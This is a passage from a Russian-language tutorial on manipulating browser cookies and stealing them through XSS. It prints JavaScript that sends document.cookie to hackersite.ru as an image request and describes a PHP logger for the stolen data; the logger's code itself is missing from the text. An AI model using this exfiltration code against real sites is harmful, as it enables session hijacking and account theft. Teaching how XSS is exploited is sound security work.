Шаг 6: Для изменения некоторого cookie редактируем файл C:\IE_ext.htm, заменяя testname на имя cookie, testvalue - на его значение, testdomain.ru – на домен сайта. При необходимости добавляем еще подобные строчки. Для удобства контроля я добавил в скрипт вывод текущих cookie до и после изменения: alert(external.menuArguments.document.cookie);

Шаг 7: Выполняем еще раз Шаг 5, а потом обновляем страницу.

Итог: мы зайдем на данный интернет-ресурс с обновленными cookie.

Как украсть cookie с помощью JavaScript?

Если злоумышленнику удалось найти возможность выполнить произвольный JavaScript-скрипт на компьютере жертвы, то прочитать текущие cookie он может очень легко. Пример:

var str= document.cookie;

Но сможет ли он их передать на свой сайт, ведь, как я указывал ранее, JavaScript-скрипт не сможет без дополнительного подтверждения обратиться к сайту, находящемуся в другом домене? Оказывается, JavaScript-скрипт может загрузить любую картинку, находящуюся на любом http-сервере. При этом передать любую текстовую информацию в запросе на загрузку этой картинке. Пример: http://hackersite.ru/xss.jpg?text_info Поэтому если выполнить такой код:

var img=new Image();

img.src="http://hackersite.ru/xss.jpg?" + encodeURI(document.cookie);

то cookie окажутся в запросе на загрузку «картинки» и «уйдут» к злоумышленнику.

Как обрабатывать такие запросы на загрузку «картинки»?

Злоумышленнику нужно лишь найти хостинг с поддержкой php и разместить там код подобный такому:

Тогда все параметры запросов к этому скрипту будут сохраняться в файле log.txt . Осталось лишь в ранее описанном JavaScript-скрипте заменить http://hackersite.ru/xss.jpg на путь к данному php-скрипту.

Итог

Я показал лишь самый простой способ использования XSS-уязвимостей. Но это доказывает, что наличие хотя бы одной такой уязвимостей на многопользовательском интернет-сайте может позволяет злоумышленнику пользоваться его ресурсами от Вашего имени.